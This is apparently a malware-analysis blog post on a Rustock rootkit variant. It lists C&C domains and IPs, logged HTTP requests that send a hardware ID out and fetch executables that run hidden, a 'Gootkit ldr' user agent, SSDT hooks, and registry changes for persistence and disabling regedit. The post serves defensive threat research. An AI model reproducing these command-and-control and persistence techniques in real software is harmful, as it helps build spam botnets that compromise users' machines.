			<content:encoded><![CDATA[<p>Recently Steve received some new .EXE files classified as Rootkit.Rustock and we have analyzed one file to see if the beast Rustock is still active. The bad thing is that the results of this analysis reveal that the spam activity of Rustock is yet <b>highly active</b>&#8230;</p>
<p>&nbsp;</p>
<p>During the analysis we noticed that the malware used a particular string for the User Agent for communicate with a specific domain: <strong>Gootkit ldr 1.0 </strong>&#8230; is this a new name for a new Malware Kit ???</p>
<p>&nbsp;</p>
<p>The .EXE file after its execution, injected code into services.exe and then started to send various GET queries to a specific domain:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">195.2.253.246 (catjepzcft.com)</pre></td></tr></table></div>

<p>Network traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /progs/ptpqq/pmzznaann.php?adv=advxxx HTTP/1.1
Host: catjepzcft.com
&nbsp;
GET /progs/ptpqq/mmjjwjxt.php HTTP/1.1
Host: catjepzcft.com
&nbsp;
GET /progs/ptpqq/ebbxlllly.php HTTP/1.1
Host: catjepzcft.com
&nbsp;
GET /progs/ptpqq/spcmmzmnak.php HTTP/1.1
Host: catjepzcft.com</pre></td></tr></table></div>

<p>All of the above *.php files redirect to PE (Portable Executable) files that are all downloaded in TEMP folder and are then executed hidden.</p>
<p>&nbsp;</p>
<p>Rustock spam bots have C&amp;C (Command and Control) domain names that are hardcoded inside the malware code, this technique allows the bot&#8217;s authors to change the controlled hosts dinamycally. This Rustock variant has started various requests with these domains:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">yopilazankaza.net
grezasadaf.info
mail.grezasadaf.info</pre></td></tr></table></div>

<p>After, we noticed the malware sent some encrypted traffic to this IP:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">74.52.83.83 (user.happyhost.org)</pre></td></tr></table></div>

<p>We can see from the traffic below that the malware sent some info to the malicious domain, and our Hardware ID to identify our computer:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /progs/ptpqq/pmmmaana.php?adv=advxxx&amp;code1=LSI0&amp;code2=0809&amp;id=-[HD_ID]&amp;p=1 HTTP/1.1
Host: catjepzcft.com</pre></td></tr></table></div>

<p>Next, it started traffic with another domain:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">ctfmon.info
110.60.233.72.static.reverse.ltdomains.com
72.233.60.110</pre></td></tr></table></div>

<p>Network traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /cd/cd.php?id=5V9B6019C6A1FA0&amp;ver=nz0 HTTP/1.1
Host: ctfmon.info</pre></td></tr></table></div>

<p>And at this point, the malware started to send data to a new IP:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">92.62.101.27 (ds27.esthost.eu)</pre></td></tr></table></div>

<p>Network traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /d3n2829230.dat HTTP/1.0
User-Agent: Gootkit ldr 1.0
Host: 92.62.101.27:5191</pre></td></tr></table></div>

<p>Note how is named the User Agent: <strong>Gootkit ldr 1.0</strong>.<br />
It may be the name of a NEW malware kit and ldr should stand for loader.</p>
<p>&nbsp;</p>
<p>New traffic:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">GET /xxxxxxxxxxxxx HTTP/1.1
Host: damqrgldev.net
&nbsp;
GET /xxxxxxxxxxxxx HTTP/1.1
Host: damqrgldev.net</pre></td></tr></table></div>

<p>The malware downloaded various malicious files (again) in TEMP Folder, and executed all of them&#8230; At this point, the malware started to send a lot of encrypted data to a domain (previously named):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">92.62.101.27 (ds27.esthost.eu)</pre></td></tr></table></div>

<p>Network traffic:</p>
<blockquote><p>
Packets           : 505<br />
Data Size         : 329.768 Bytes<br />
Total Size        : 350.040 Bytes
</p></blockquote>
<p>And now started a <strong>heavy SPAM activity</strong>&#8230; the malware started to send various domain requests to a lot of email servers:</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-1.gif" alt="Screenshot" title="Spam activity" /></p>
<p>&nbsp;</p>
<p>And then the spambot started to send a high amount of spam messages&#8230; the SPAM campaign is now more active than ever!!!</p>
<p>&nbsp;</p>
<p><img src="http://blog.novirusthanks.org/wp-content/uploads/rustock-is-back-2.gif" alt="Screenshot" title="Spam traffic" /></p>
<p>&nbsp;</p>
<p>Now lets see what files were created by this Rustock variant:</p>

<p>The rootkit installs always the 3 (famous) SSDT hooks and this time we can see that it hides also its driver:</p>

<p>The malware disabled also the regedit.exe, as we can see from this value the malware changed the DWORD of the value named DisableRegedit to 1:</p>
<blockquote>
<p>O7 &#8211; HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegedit=1</p>

<p>These are interesting strings uh !?</p>
<p>So lets do a small analysis only based on strings we found:</p>
<p><strong>%win</strong> can stand for Windows Directory (similar to the Environment variable &#8211; %WinDir%)</p>
<p><strong>svchost.exe</strong> can be a process where the malware will inject code.</p>
<p><strong>C:\progz\NewWork\driver\objfre\i386\driver.pdb</strong> ==&gt; Very interesting string, is different from all the other variants of <strong>Rustock.Rootkit</strong> and should stand for a new version of the malware !!!</p>
<p><strong>HAL.dll</strong> &#8211; Windows Hardware Abstraction Layer (HAL), is a file that hides hardware complexities from Win applications.</p>
<p><strong>NDIS.sys</strong> &#8211; Network Driver Interface Specification (NDIS) is an application programming interface (API) for network interface cards (NICs).</p>
<p><strong>\registry\machine\system\CurrentControlSet\Services\%x</strong> is the path of the Services and <strong>%x</strong> should be the variable that will be overwritten with the malware Service name.</p>
<p><strong>\SystemRoot\System32\drivers\%x.sys</strong> is the path where are stored drivers and <strong>%x</strong> should be the variable that will be overwritten with the name of the malware driver.</p>
<p><strong>services.exe</strong> can be used by malware to load and start services or the malware can inject code into it.</p>
<p>We can also see that into the file have <strong>embedded 2 PE</strong>, so, maybe, one is the kernel driver of the rootkit and the other one is the user-mode botnet.</p>
<p>Unfortunately I can not test/run this sample so I can only show this small analysis, anyway very interesting code!</p>
<p>Another file that was present with this rootkit was named <strong>sxmg4.dll</strong> and below there is the report of the scan:</p>

<p>We can see 2 .EXE:</p>
<blockquote><p>iexplore.exe<br />
explorer.exe</p>
</blockquote>
<p>that probably are the .EXEs where the malware will inject the dll or other code.</p>
<p>We can see a reference to a registry key used to add keys to autostart a program:</p>
<blockquote><p>Software\Microsoft\Windows\CurrentVersion\Run</p>
</blockquote>
<p>We can see also a reference to a possible software that will be installed:</p>
<blockquote><p>Software\AntispyKnight</p>

<p>and if we check also the detection name of:</p>
<blockquote><p>NOD32 v3 	<span style="color: red;">Win32/Adware.AntiSpyKing application</span><br />
VBA32 	<span style="color: red;">Trojan-Downloader.Win32.FraudLoad.vdjm</span></p>

<p>We can maybe imagine that will be installed a rogue software in our computer that is possibly named as <strong>AntispyKnight</strong>.</p>
<p>Ok, this analysis end here : )</p>
